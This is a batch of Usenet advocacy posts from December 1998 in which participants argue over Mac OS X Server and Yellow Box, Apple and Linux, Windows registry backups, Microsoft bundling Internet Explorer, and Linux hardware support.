References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff4eb.0@news.deniz.com> <36800D8E.470E9E22@255.255.255.255> <slrn7803us.7at.jedi@dementia.mishnet> <36801E35.9F0C309D@255.255.255.255> <slrn780bu3.83n.jedi@dementia.mishnet>
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Date: Wed, 23 Dec 1998 00:53:14 GMT
NNTP-Posting-Date: Tue, 22 Dec 1998 16:53:14 PDT
jedi@dementia.mishnet wrote:
>
> On Tue, 22 Dec 1998 22:30:24 GMT, DrBoom <Nobody@255.255.255.255> wrote:
> >jedi@dementia.mishnet wrote:
> >
[snippage throughout]
> >I'm running FreeBSD 2.2.8. Q][ runs in X with Linux emu, but I have been
> >having "fun" getting it to talk to the V2 card. There is a hack floating
> >around that purports to make it fly, but so far no luck on my machine.
>
> You mean the linux glide port?
Yes, Mesa 2.6 libs.
> >I think it's pretty amazing that something like Q][ will run under
> >emulation. Doing full-screen rendering in realtime impresses me more
> >than doing wysiwyg in WordPerfect.
>
> Why emulate, just run the native client.
Don't I wish... The Q][ binaries are for Linux. If you know someone who
has a FreeBSD native port, let me know. You have to admit it's not a
very big game market for id software. :)
-j
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 22 Dec 1998 21:08:48 -0500
Organization: phenix@interpath.com
Message-ID: <1dkgf6y.180kyaa1fai800N@roxboro0-017.dyn.interpath.net>
References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <368036D2.68EA214@earthlink.net.rem.ove.this>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4
c hand <ch3@earthlink.net.rem.ove.this> wrote:
> John Moreno wrote:
> >
> > I meant that for Mac programmers it's a totally new framework -- and
> > even keeping OS in mind it's still mainly a framework for vaporware as
> > the fate of any future market is uncertain.
> >
>
> Huh?
>
> "a framework for vaporware"? What does that mean?
It means that the next generation macintosh OS is yet to be delivered.
> And why is the fate of any "future market" uncertain? Just two weeks ago
> Jobs publicly commited to the technology. What's so "uncertain?"
Jobs can "commit" to anything he wants, but that doesn't mean jack.
It's vaporware until it's delivered to the end users, and it's uncertain
until it's been a huge success.
--
John Moreno
From: atticus@mindspring.com (Andy Walton)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Wed, 23 Dec 1998 03:01:59 -0500
Organization: Waltonschauung
Message-ID: <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net>, tzs@halcyon.com
(Tim Smith) wrote:
:What I'd like to see is for Apple to get rid of MacOS as a stand-alone OS.
:Turn MacOS into MacOE ("Macintosh Operating Environment"), which would
:initially be available for Mac hardware running LinuxPPC.
That seems pretty unlikely, since the Mac/NeXT efforts have been based on
another *ix kernel (BSD, innit?). With that exception, I wouldn't be too
suprised if OSX Server looked a lot like what you describe below.
:1. The kernel
:2. Modular drivers for all Apple peripherals
:3. An X server
:4. MacOE
:5. All the normal things that come with MacOS (Finder, etc).
:6. The usual Unix command line tools would be available, but not
:necessary.
:7. A nice graphical front end to RPM (or perhaps to Debian's package
:system) that runs under MacOE.
:
:This would come installed on new Macs. To the end user, it would look a lot
:like today's Macs look--you turn it on, and when it finishes booting, you are
:in Finder.
:
:Those who want to take advantage of Unix would be free to install other Unix
:stuff (smtp servers, web servers, etc.).
--
"I'd love to sell out completely. It's just
that nobody has been willing to buy." -- John Waters
--------------------------------------------------------------------------
Andy Walton * atticus@mindspring.com * http://atticus.home.mindspring.com/
From: sbodnar@grizzly.pwssc.gen.ak.us (Stephen Bodnar)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
Date: Tue, 22 Dec 1998 08:32:14 -0900
Organization: P. W. S. Science Center
Message-ID: <sbodnar-ya023580002212980832140001@news.alaska.edu>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com> <U7vf2.2619$w91.1179286@newsread1-mx.centuryinter.net> <367E8A35.50EE9565@is.email>
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In article <367E8A35.50EE9565@is.email>, eine <what@is.email> wrote:
> Gerry's News Subs wrote:
>
> > Good luck putting the Windows registry on a floppy ... the registry files on
> > my Win98 machine (system.dat and user.dat) are > 5mb!
>
> You can compress them with a zip utility. They fit on a floppy for me.
And how on earth do you unzip the registry from the floppy if you
have a non-operating operating system? And doesn't this make you
reliant on non-MS software for a system restore that's "built in"
to the system?
Have some war stories about this...from trying to back up the corrupted
registry on networked NT boxes. Tried the floppy method. No way to fit
5 to 10 mb registry files on a floppy, even compressed (yes, they really
are this big on office machines running multiple apps and large
databases). The MS consultant (she gets her paycheck from MS) told me
to back them up daily to the NT server box. Only problem, with
SP3 installed on the server, and having to boot the dead machine
from original program discs which are NOT SP3, it is impossible to
see the server and restore the registry. Unless you can use something
like a zip drive (which MS doesn't support) there just isn't enough
room on locally available media to back up a registry on our office
machines.
Stephen
From: SPAMBGONEmbkennelSPAMBGONE@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: 22 Dec 1998 22:41:44 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn780818.2o6.SPAMBGONEmbkennelSPAMBGONE@lyapunov.ucsd.edu>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75ivmd$is9$2@csu-b.csuohio.edu> <MPG.10e7783a58cb5c8b989771@news.dircon.co.uk> <slrn77r0fv.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <367e21ea.6383099@news.magna.com.au>
NNTP-Posting-Date: 22 Dec 1998 22:41:44 GMT
On Mon, 21 Dec 1998 10:39:02 GMT, Sam <sxr@spam.hotmail.com> wrote:
:
:It was a bogus business model for Netscape to expect to be able to
:charge a premium (or any) price for their browser for any extended
:period. They had no proprietary technology to lock out other
:competitors.
Interesting idea, that in order to be a successful software company
one must be able to lock out competitors with proprietary technology.
:IE4's modular design is far superior, it is completely customisable,
:IE5 goes even further. I am sure that if the designs where reversed,
:everyone would be bagging Microsoft for creating a poor monolithic
:design.
Few are complaining about the modular design.
What would Netscape have been able to do had it been able to make
money off of Navigator, like MS does off IE? (Saying it's free is
preposterous---how much of the Win 98 development costs (paid for by W95
fees) went to IE?)
:Sam
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: alan_spamMeNot_baker@bc.sympatico.ca (Alan Baker)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <alan_spamMeNot_baker-2312980214590001@vanc07m03-215.bctel.ca>
References: <ngroups-0412980941310001@192.168.100.102> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <368036D2.68EA214@earthlink.net.rem.ove.this> <36803829.96A77B3A@klassy.com>
Organization: bakerMEDIA
Date: Wed, 23 Dec 1998 02:14:58 -0800
NNTP-Posting-Date: Wed, 23 Dec 1998 02:15:22 PDT
In article <36803829.96A77B3A@klassy.com>, Josiah Fizer <mib@klassy.com> wrote:
> c hand wrote:
>
> > John Moreno wrote:
> > >
> > >
> > > I meant that for Mac programmers it's a totally new framework -- and
> > > even keeping OS in mind it's still mainly a framework for vaporware as
> > > the fate of any future market is uncertain.
> > >
> >
> > Huh?
> >
> > "a framework for vaporware"? What does that mean? And why
> > is the fate of any "future market" uncertain? Just two
> > weeks ago Jobs publicly commited to the technology. What's
> > so "uncertain?"
> >
> > --
> > regards : colin hand : mailto:ch3@earthlink.net
>
> Recall when Jobs "publicly commited" to the Newton?
No, when?
IIRC, it was Mr. Sculley who publicly commited to the Newton. Jobs wasn't
working there at the time.
--
Alan Baker (Alan<underscore>Baker@bc.sympatico.ca)
bakerMEDIA
Vancouver British Columbia
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 23 Dec 98 09:38:32 GMT
Organization: P & L Systems
Message-ID: <3680ba18.0@stan.astra.co.uk>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net>
<SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com>
<75lv4l$uie$1@bartlet.df.lth.se> <75m9mr$6n6$1@nnrp03.primenet.com>
<367fb982.0@stan.astra.co.uk> <75or9g$klr$1@nnrp02.primenet.com>
<367ffd0f.0@stan.astra.co.uk> <75p4i4$q9v$1@nnrp03.primenet.com>
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Cc: jjens@primenet.com
In <75p4i4$q9v$1@nnrp03.primenet.com> John Jensen wrote:
> Sorry to be dense, but do you mean:
>
> a) Because MacOS X usage will be unlike Macintosh usage (in that locally
> stored applications will be unusual) we should use *step usage as a guide
> to MacOS X design.
>
I expect MacOS X usage to be closer to *STEP than to Macintosh, in that there
is more likely to be a central fileserver vending applications. If Apple
release Intel and PPC versions of MacOS X then I'd expect dual binary
versions of apps to be installed on the servers, to that operation is
transparent to users whichever architecture they are using.
Note, however, as I indicated earlier, that the same app package format is
equally friendly to local installation, since at install time you are able to
choose which binaries are installed. The new directory layout makes it very
clear where apps should go: /Local/Applications is for local apps,
/Network/Applications if for network-wide apps (vended from a server).
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 23 Dec 98 10:59:35 GMT
Organization: P & L Systems
Message-ID: <3680cd17.0@stan.astra.co.uk>
References: <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
<74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net>
<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com>
<FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com>
<FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com>
<FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com>
<FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk>
<1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net>
<1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk>
<1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net>
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Cc: phenix@interpath.com
In <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> John Moreno wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > John Moreno wrote:
> > > Maury Markowitz <maury@remove_this.istar.ca> wrote:
> >
> > > It's wait and see, because until MacOSX is shipping it's just more
> > > vaporware, YB is a totally new framework for that vaporware.
> > >
> > Not at all; YB is an upgrade to the OPENSTEP frameworks which have been
> > working very well as a commercial product for a couple of years.
>
> I meant that for Mac programmers it's a totally new framework
>
So...?
> and even keeping OS in mind it's still mainly a framework for vaporware
>
Not at all; it's an essential component of WebObjects, which is a very
successful, shipping, product, which has Apple's complete support (it has
been referred to on several occasions by Apple folks as being on a par with
QuickTime and Scripting as key technologies).
> as the fate of any future market is uncertain.
>
Indeed, and as someone else posted recently, we might get hit by an
asteroid...
mmalc.
From: sr145@_nospam_hotmail.com (Sam)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Wed, 23 Dec 1998 12:53:18 GMT
Organization: Magna Data - Internet Solutions Provider
Message-ID: <3683e3bb.11297728@news.magna.com.au>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75ivmd$is9$2@csu-b.csuohio.edu> <MPG.10e7783a58cb5c8b989771@news.dircon.co.uk> <slrn77r0fv.m21.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <367e21ea.6383099@news.magna.com.au> <slrn780818.2o6.SPAMBGONEmbkennelSPAMBGONE@lyapunov.ucsd.edu>
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On 22 Dec 1998 22:41:44 GMT, SPAMBGONEmbkennelSPAMBGONE@yahoo.com
(Matt Kennel) wrote:
>On Mon, 21 Dec 1998 10:39:02 GMT, Sam <sxr@spam.hotmail.com> wrote:
>:
>:It was a bogus business model for Netscape to expect to be able to
>:charge a premium (or any) price for their browser for any extended
>:period. They had no proprietary technology to lock out other
>:competitors.
>
>Interesting idea, that in order to be a successful software company
>one must be able to lock out competitors with proprietary technology.
Certainly helps, as do patents.
Real networks Version 5 and G2 are proprietary, so is version 4 but is
licensed to MS.
Intuit.
Apple
Java
Oracle
IBM
Etc
Open source is interesting, but how it will pay the bills is a
question.
>:IE4's modular design is far superior, it is completely customisable,
>:IE5 goes even further. I am sure that if the designs where reversed,
>:everyone would be bagging Microsoft for creating a poor monolithic
>:design.
>
>Few are complaining about the modular design.
>What would Netscape have been able to do had it been able to make
>money off of Navigator, like MS does off IE? (Saying it's free is
>preposterous---how much of the Win 98 development costs (paid for by W95
>fees) went to IE?)
True, but internet access has been integrated in Win98, it is a key
selling feature. As it is in Office 2000.
I see nothing wrong with someone giving me something free "forever".
They are not temporarily dropping the price. Bill G said it would be
free forever.
Sam
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: 23 Dec 98 12:18:18 GMT
Organization: P & L Systems
Message-ID: <3680df8a.0@stan.astra.co.uk>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net>
<355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net>
<slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net>
<slrn77veq3.529.jedi@dementia.mishnet> <75paui$9oq$1@reader1.reader.news.ozemail.net>
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Cc: galexand@ozemail.com.au
In <75paui$9oq$1@reader1.reader.news.ozemail.net> "Greg Alexander" wrote:
> Are you saying Apple is already handling the multitude of Intel hardware -
so
> shouldn't involve Linux?
>
I hesitate to reply for someone else, but from my perspective the answer is
"Yes, Apple should involve Linux *if a sound business case can be made for
the company to do so*".
> To me the thing is what are plus & minuses for Apple, and for Linux (and
Linux users).
> For Apple:
> 1) People who left Mac for Linux will buy the Mac interface (best of both
worlds)
> [similar sales to that for MacOS 8.5 upgrade I'd guess]
>
I'd be interested to know exactly what you mean by "the Mac interface". Are
you supposing that by installing YB on Linux you immediately get a complete
Mac-style interface? Somehow I suspect that this would not be the case --
vide YB/Windows, which adopts the UI "conventions" of Windows.
A difficulty for implementing YB/Linux -- which doesn't seem to have been
addressed so far -- is the question of what UI would YB apps adopt, if any?
One of the attractions of the Mac user interface is its consistency. With
X-windows you have a choice of window managers, widgets etc. Is YB/Linux
going to provide a wrapper over one of these, or provide yet another look and
feel?
> 3) Linux has the power. Add the "Mac-ease-of-use" to Linux on desktop
machines.
>
Umm, McOX has the power too; it's layered on top of BSD 4.4.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 23 Dec 98 12:31:21 GMT
Organization: P & L Systems
Message-ID: <3680e299.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
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Cc: atticus@mindspring.com
In <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> Andy Walton
wrote:
> In article <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net>, tzs@halcyon.com
> (Tim Smith) wrote:
>
> :What I'd like to see is for Apple to get rid of MacOS as a stand-alone
OS.
> :Turn MacOS into MacOE ("Macintosh Operating Environment"), which would
> :initially be available for Mac hardware running LinuxPPC.
>
> That seems pretty unlikely, since the Mac/NeXT efforts have been based on
> another *ix kernel (BSD, innit?). With that exception, I wouldn't be too
> suprised if OSX Server looked a lot like what you describe below.
>
Quite similar...
> :1. The kernel
>
Yes -- Mach.
> :2. Modular drivers for all Apple peripherals
>
Yes.
> :3. An X server
>
No, but available from third parties.
> :4. MacOE
>
BlueBox. Doesn't run on Intel, of course.
> :5. All the normal things that come with MacOS (Finder, etc).
>
Yes.
> :6. The usual Unix command line tools would be available, but not
> :necessary.
Yes.
> :7. A nice graphical front end to RPM (or perhaps to Debian's package
> :system) that runs under MacOE.
> :
McOX has its own package system, inherited and enhanced from NEXTSTEP.
> :This would come installed on new Macs. To the end user, it would look a
lot
> :like today's Macs look--you turn it on, and when it finishes booting,
you are
> :in Finder.
> :
Yes.
> :Those who want to take advantage of Unix would be free to install other
Unix
> :stuff (smtp servers, web servers, etc.).
>
Yes -- Apache's even built in.
So I'm again left looking for the business case for Apple to put this on top
of Linux...?
I'm sorry if all my posts on this subject sound anti-Linux, they're really
not intended that way, as I hope the above question makes clear. I'd love it
if I were wrong and Apple found a way to make YB etc available on top of
Linux -- it would expand the market for our apps and consulting services --
however for now at least I can't see the commercial benefit for Apple, and
without that I can't see it happening. Indeed, as I think Colin suggested
elsewhere, in many respects McOX and Linux can be regarded as competitors...
Best wishes,
mmalc.
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 23 Dec 1998 10:29:46 -0500
Organization: phenix@interpath.com
Message-ID: <1dkhjje.15cy42r14hqxcdN@roxboro0-034.dyn.interpath.net>
References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk> <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net> <3680cd17.0@stan.astra.co.uk>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> John Moreno wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > John Moreno wrote:
> > > > Maury Markowitz <maury@remove_this.istar.ca> wrote:
> > >
> > > > It's wait and see, because until MacOSX is shipping it's just more
> > > > vaporware, YB is a totally new framework for that vaporware.
> > > >
> > > Not at all; YB is an upgrade to the OPENSTEP frameworks which have been
> > > working very well as a commercial product for a couple of years.
> >
> > I meant that for Mac programmers it's a totally new framework
> >
> So...?
So why should they switch from one framework to another when they don't
have any confidence that it will be around in a year?
> > and even keeping OS in mind it's still mainly a framework for vaporware
>
> Not at all; it's an essential component of WebObjects, which is a very
> successful, shipping, product, which has Apple's complete support (it has
> been referred to on several occasions by Apple folks as being on a par with
> QuickTime and Scripting as key technologies).
Apple's "key" technologies are simply things they want to promote today
-- as soon as they flipflop again it would be dropped.
> > as the fate of any future market is uncertain.
> >
> Indeed, and as someone else posted recently, we might get hit by an
> asteroid...
Apple deciding not to drop support of an API or framework is hardly in
the class of getting hit by an asteroid -- more along the lines of being
in a fender bender (if you're a habitual drunk driver).
--
John Moreno
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 23 Dec 1998 15:31:39 GMT
Organization: Primenet (602)416-7000
Message-ID: <75r2cr$9h0$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com> <75lv4l$uie$1@bartlet.df.lth.se>
<75m9mr$6n6$1@nnrp03.primenet.com> <367fb982.0@stan.astra.co.uk> <75or9g$klr$1@nnrp02.primenet.com> <367ffd0f.0@stan.astra.co.uk> <75p4i4$q9v$1@nnrp03.primenet.com> <3680ba18.0@stan.astra.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: I expect MacOS X usage to be closer to *STEP than to Macintosh, in that
: there is more likely to be a central fileserver vending applications.
: If Apple release Intel and PPC versions of MacOS X then I'd expect dual
: binary versions of apps to be installed on the servers, to that
: operation is transparent to users whichever architecture they are using.
To be honest I find this unlikely to become a common architecture. I
think most Macs sold in the US go to home users. Most homes do not have
fileservers.
: Note, however, as I indicated earlier, that the same app package format
: is equally friendly to local installation, since at install time you are
: able to choose which binaries are installed. The new directory layout
: makes it very clear where apps should go: /Local/Applications is for
: local apps, /Network/Applications if for network-wide apps (vended from
: a server).
Cool.
John
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
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Cc: jjens@primenet.com
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net>
<SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com>
<75lv4l$uie$1@bartlet.df.lth.se> <75m9mr$6n6$1@nnrp03.primenet.com>
<367fb982.0@stan.astra.co.uk> <75or9g$klr$1@nnrp02.primenet.com>
<367ffd0f.0@stan.astra.co.uk> <75p4i4$q9v$1@nnrp03.primenet.com>
<3680ba18.0@stan.astra.co.uk> <75r2cr$9h0$1@nnrp03.primenet.com>
Mime-Version: 1.0
Date: Wed, 23 Dec 1998 17:44:53 GMT
In <75r2cr$9h0$1@nnrp03.primenet.com> John Jensen wrote:
> To be honest I find this unlikely to become a common architecture. I
> think most Macs sold in the US go to home users.
I don't believe this is true, at least it wasn't in the not-to-distance
past, although the iMac has certainly turned that upside down.
> Most homes do not have fileservers.
Now.
Maury
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com>
Subject: Re: Really the Best Talent?
Date: Tue, 22 Dec 1998 14:45:34 -0500
Message-ID: <367ff4eb.0@news.deniz.com>
>
> Consider Linux -- the writers of the Halloween Documents had
>conceded how high-quality it is. It has a reputation for being *much* more
>stable than M$ OSes -- _on_the_same_hardware_.
First off, I'd take exception to making the sweeping statement "Linux is
more stable on the same hardware as Windows". In fact, I'd take exception
to the statement, "Linux is more stable on the same hardware as Windows 98".
Linux does not detect my mouse. Windows 98 does. Linux cannot support any
of my graphics cards IN ACCELERATED MODE: Diamond Fire/GL 1000Pro, Diamond
Stealth 220, and, it wasn't until two years after the Media GX shipped that
Linux could support it at all. Linux doesn't know about my Plug and Play
monitor serving X - that's really stupid. Nor does Linux have anything
vaguely resembling the real time audio mixing and screen memory blitting
services offered by Direct X. So, pretty much, all you Linux advocates are
saying is that Linux is an operating system that might be stabler on less
hardware because it can't use anything NEW.
>So why was a loose
>community of volunteers able to do what (supposedly) the world's best
>programming talent was unable to do?
>
They haven't, see above.
>--
>Loren Petrich Happiness is a fast Macintosh
>petrich@netcom.com And a fast train
Disagree on the Mac, but I might get an IMAC soon just to learn PPC
assembly. Agree on Fast Trains. The country needs more public transport.
Good for sending soldiers into Canada...
(Just kidding!)
From: jrnaylor@concentric.net.nospam (Jim Naylor)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 23 Dec 1998 11:13:16 PST
Organization: Concentric Internet Services
